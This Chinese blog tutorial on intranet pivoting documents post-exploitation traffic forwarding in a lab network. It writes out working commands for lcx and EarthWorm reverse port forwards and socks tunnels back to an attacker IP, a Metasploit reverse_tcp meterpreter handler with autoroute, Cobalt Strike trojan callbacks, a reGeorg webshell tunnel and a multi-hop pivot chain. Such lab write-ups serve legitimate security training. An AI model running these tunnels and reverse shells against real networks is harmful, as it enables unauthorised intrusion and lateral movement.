内网渗透—流量转发

Mi0发布

0x00前言

在拿到一台服务器的shell的时候,如果想要更进一步渗透测试,则需要进行内网渗透

而内网渗透的第一步就是挂代理,首先需要明确一个概念,在日常生活中常用vpn挂代理去google查资料,自己搭过vpn的人都知道,要在买的vps上搭建ss的服务器端,之后在自己电脑上下载ss的客户端,确定对应的加密协议和密码就能成功转发

而在内网渗透的流量转发是一个道理,是在拿到shell的服务器上使用工具让它变成代理的服务器端,之后在本机使用客户端工具进行连接

0x01流量转发工具

需要放在拿到shell的服务器的服务器端可使用

1.lcx

2.msf

3.cobalt Strike

4.earthworm

5.reGeorg

本地的客户端可以使用

windows

1.proxifier

2.SocksCap64

linux

1.proxychains

0x02 本次测试的环境

本次环境是公司搭的一个一层内网学习环境,本篇文章只总结流量转发的方法,因此大致介绍下简化的拓扑结构

攻击机:

ip:10.86.0.87 win10(该ip能访问到最外层的DMZ区web服务器)

ip: xx.xx.xx.xx kali (虚拟机,与主机win10 进行NAT连接)

被攻击机:

ip: 172.16.3.145192.168.93.143 web服务器(双网卡,192为内网ip)

ip: 192.168.93.138 内网服务器,上面80有个IIS服务(能访问到该web,则说明代理成功)

明确个概念
1577758480736

那么DMZ区服务器弹shell到kali虚拟机要通过本机做端口映射,kali要访问内网web服务器则代理需要设置成本机的端口

0x03 lcx转发

本工具只是端口流量转发,并不具备完整的proxy代理功能

举个例子服务器只能本地连3389,因此攻击机连不了,但是可以通过该工具将3389转发到攻击机的端口上,就能连接了

拿到shell后,上传lcx.exe文件

1577758644412

将自身端口流量转发到攻击机端口上

使用方法

本机

接收2333端口来的流量,并在自己的2334端口打开

lcx.exe –listen 2333 2334

1577759323649

目标服务器

将自己的3389的流量转发到10.86.0.87攻击机的2333端口上

lcx.exe -slave 10.86.0.87 2333 127.0.0.1 3389

1577759485818

rdp连接自己的2334端口

1577759516717

1577759585256

本身流量转发

这玩意儿还能在自己的上进行端口转发,比如把3389端口流量转到自己的2333端口

lcx.exe -tran 2333 127.0.0.1 3389

1577759902052

0x04 msf

msf它本身有流量转发的模块,因为本次的msf是在kali虚拟机里面的,又因为DMZ区服务器是没法访问到kali的,意味着反弹shell是没法直接实现的

在使用msf转发前,使用frp将kali的监听端口映射到本机上

在本机中使用frps服务器端

frps.ini的配置如下,确定绑定的端口,token的值,转发的端口,即可

1577760535626

启动

.\frps.exe -c .\frps2.ini

1577760606721

在kali中使用frpc客户端

frpc.ini的配置如下,[common]是协议连接的目标,和token凭证,[appName1]~[appName3]是将10.86.0.87的10001端口映射到自己的10001端口

1577760304069

启动方式,利用nohup和 &,挂后台运行

nohup ./frpc -c frpc2.ini &

1577760636612

回过头来看windows本机,已经有信息了

1577760671617

可以使用nc尝试下,是否映射了

1577760722831

访问下windows的10001端口

1577760743182

再看kali里面收到了http请求头

1577760791252

将shell反弹到msf上

先在msf中进行监听php的msf的shell

use exploit/multi/handler 
set payload php/meterpreter/reverse_tcp
set LPORT 10001
set LHOST 10.86.0.87
run

1577761062330

现在DMZ服务器能间接通过的端口映射访问到kali的端口了,在冰蝎中可以使用设置好的反弹msf的payload

1577760904282

点击给我连,就弹回来啦

1577761090374

使用msf设置代理

拿到msf的shell了后,就是上代理了,这里因为我之前已经扫过网段了,可以确定内网是192.168.93.0/24网段

因此添加路由

meterpreter> run autoroute -s 192.168.93.0/24

可以查看

meterpreter> run autoroute -p

1577761360888

接下来将该shell挂起到后台

meterpreter> background

并且使用sock4a模块进行转发

use auxiliary/server/socks4a #socks4a socks5都可以
set srvhost 127.0.0.1
set srvport 1084
run

1577763547680

kali中直接firefox访问下192.168.93.80的web,页面是加载不出来的

1577761684273

接下来使用proxychains来代理访问内网的web

设置一下

vim /etc/proxychains.conf

1577763525824

proxychains curl http://192.168.93.138

即可访问成功

1577763467614

0x05 Cobalt Strike代理

这个就很好用了,强烈推荐,因为我是在windows上起的cs的服务器,因此反向代理就是本机不需要端口映射,操作也非常简单(就这玩意儿老断开连接,可能我电脑的问题

先创建个listener

1577762287589

生成一个exe的木马,当然有杀软的话可以使用powershell或者编程语言运行代码直接反弹

1577762323105

丢到服务器上运行

1577762387585

OK弹回来了

1577762398851

因为这里是代理使用的总结,就不深入总结cs的利用,直接使用代理模块

这里cs有2个代理方式,一个是浏览器代理,一个是sock代理

首先看浏览器代理

1577762985801

1577763006627

接下来,就可以使用我本机的浏览器,挂代理访问了,挂代理方式和burp一样,这里使用的是本机的4001端口

1577763052983

设置方式很简单

1577763143334

访问下试试

1577763127722

在kali虚拟机中同理,也可以使用这样的方式访问web了

但是proxychains是不行的,接下来可以使用cs的另一个代理socks

1577763282687

1577763295655

接下里配置proxychains

1577763572649

成功代理

1577763593814

0x06 使用earthworm

ew是一个很厉害的软件,但是因为很厉害所以作者已经关闭下载了....

他有各种系统的可执行文件

1577763815935

ew具有lcx的转发功能,还能执行socks代理

正向代理和反向代理的区别很多文章都有提到,从表面上看正向代理的代理端口和ip是在被攻击的服务器上,反向代理的端口和ip是自己的本机

正向代理

将对应系统的可执行文件上传上去

只需要在服务器执行

ew_for_Win.exe -s ssocksd -l 2336

1577764123760

配置好proxychains,代理为172.16.3.145:2336端口,能够访问内网了

1577764105727

反向代理

在本地使用ew进行端口监听,意思是将本地从4399接收到的流量转发到2337端口上

.\ew_for_Win.exe -s rcsocks -l 2337 -e 4399

1577772113594

在跳板的服务器上执行,将自己的代理服务转到远程10.86.0.87服务器上的4399端口

ew_for_Win.exe -s rssocks -d 10.86.0.87 -e 4399

1577772240259

尝试下

1577772301639

ew具有lcx的功能

在最上面介绍lcx的时候提到了lcx具有将远程的端口映射到本地,和将本地的端口A流量转移到端口B的功能

ew同样有lcx的功能,使用方法如下,这里还是拿3389为例

将远程端口映射到本地

在本机起监听,监听自己的4399和2338端口,将4399端口收到的数据转出到2338端口接收

.\ew_for_Win.exe -s lcx_listen -l 2338 -e 4399

在远程的服务器上执行

ew_for_Win.exe -s lcx_slave -d 10.86.0.87 -e 4399 -f 127.0.0.1 -g 3389

1577773435729

将本机的端口A转发到端口B

ew_for_Win.exe -s lcx_tran -l 4002 -f 127.0.0.1 -g 3389

1577773666322

多级代理

ew移植lcx的功能不仅仅是为了集合功能,更重要的是可以凭借该功能达到多层代理,这里没有实际的环境,举个例子

攻击机A ,边间服务器B,内网1层的服务器C,内网2层的服务器D

首先拿到B,挂好代理,只能看到C,但不能看到D,这时候就要借助EW的转发功能实现多层内网渗透


攻击机A,使用反向代理

将接到的3001端口的流量,开到自己的2001端口上,最终是挂本地2001端口,实现代理的

.\ew_for_Win.exe -s rcsocks -l 2001 -e 3001

边界服务器B,使用流量转发和流量监听

流量转发,将本地4001端口流量转移到A的3001端口上

.\ew_for_Win.exe -s lcx_slave -d A的ip -e 3001 -f 127.0.0.1 -g 4001

流量监听,将接受到的5001端口的流量转到自己的4001上

.\ew_for_Win.exe -s lcx_listen -l 4001 -e 5001

内网1层的服务器C

反向代理,将自己的5001的socks代理传给B的5001端口

.\ew_for_Win.exe -s rssocks -d B的ip -e 5001 

综上所述,访问到D的流量如下

D -> C -> B:5001 -> B:4001 -> A:3001 -> A:2001 

挂A:2001的代理,即可访问到D

0x07 reGeorg

reGeorg使用起来也很方便,他和以上的几种工具想比,它不需要在目标上运行程序,只需要把对应的web的脚本上传上去能够访问即可

1577774797486

reGeorg的文件主要是以web的后台语言为代理脚本,因此要使用reGeorg的先决条件是需目标具有web服务

这里的例子是PHP,先上传tunnel.php函数报错了,之后我上传了tunnel.nosocket.php,则正常工作了

1577775307179

tunnel.nosocket.php能正常打开

1577775337527

接下来在本地,使用python运行它的py脚本,如果不加-l参数则默认是127.0.0.1的地址开启的代理,这时kali就没法使用10.86.0.87,ip来设置代理了

python .\reGeorgSocksProxy.py -l 10.86.0.87 -p 5432 -u http://172.16.3.145/tunnel.nosocket.php

1577775959984

自己的5432端口即为代理端口

1577775926690

0x08代理客户端

在最前面讲到有3个代理的客户端,其中proxychains是linux下的,也是上面各种工具使用时候,使用的代理方式验证,proxifierSocksCap64均是windows下的工具,有图形化的界面,免费的。proxifier随便找个激活码即可

proxychains

安装,kali自带的

apt-get install proxychains

直接修改/etc/proxychains.conf文件

在最下面的[ProxyList]中以以下格式设置代理

socks4 ip port
或者
socks5 ip port

1577776411006

使用方法也很简单,这样msf就能本身挂代理了

proxychains msfconsole

但是proxychains有些命令不支持,比如ping

proxifier

该工具是windows下的,配置有2个注意点即可

1.配置代理的ip和端口

2.配置走代理的exe程序

以刚刚的reGeorg代理为例

1577776651236

配置好了代理的服务器,接下来配置哪些服务走该代理

1577776741648

Direct是直连,即不走代理的意思, proxy SOCKS5 即是刚刚设置的代理,当前设置是firefox走代理,chrome.exe不走代理

这个规则表和配置交换机的ACL协议一样,从上往下读协议的

如果要burp抓包,则使用Any,Any,Any,即全部应用都走代理即可

SocksCap64

proxifier很相似,先设置代理

1577776989046

接下来右键下面的应用,选择在代理隧道中运行即可,该应用也可以添加

这里在代理隧道中运行chrome,即可访问内网的web服务

1577777117153

0x09 结语

挂代理思路清楚了是比较简单的事情,渗透测试和CTF稍微不同的地方在于,CTF注重原理,深入到代码的写法问题,而渗透测试则注重工具的使用。lcx和ew很容易被杀软杀掉,但是在比较low或者比赛或者学习的环境中或者关掉杀软的情况下还是比较好使的@_@

分类: 渗透测试

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注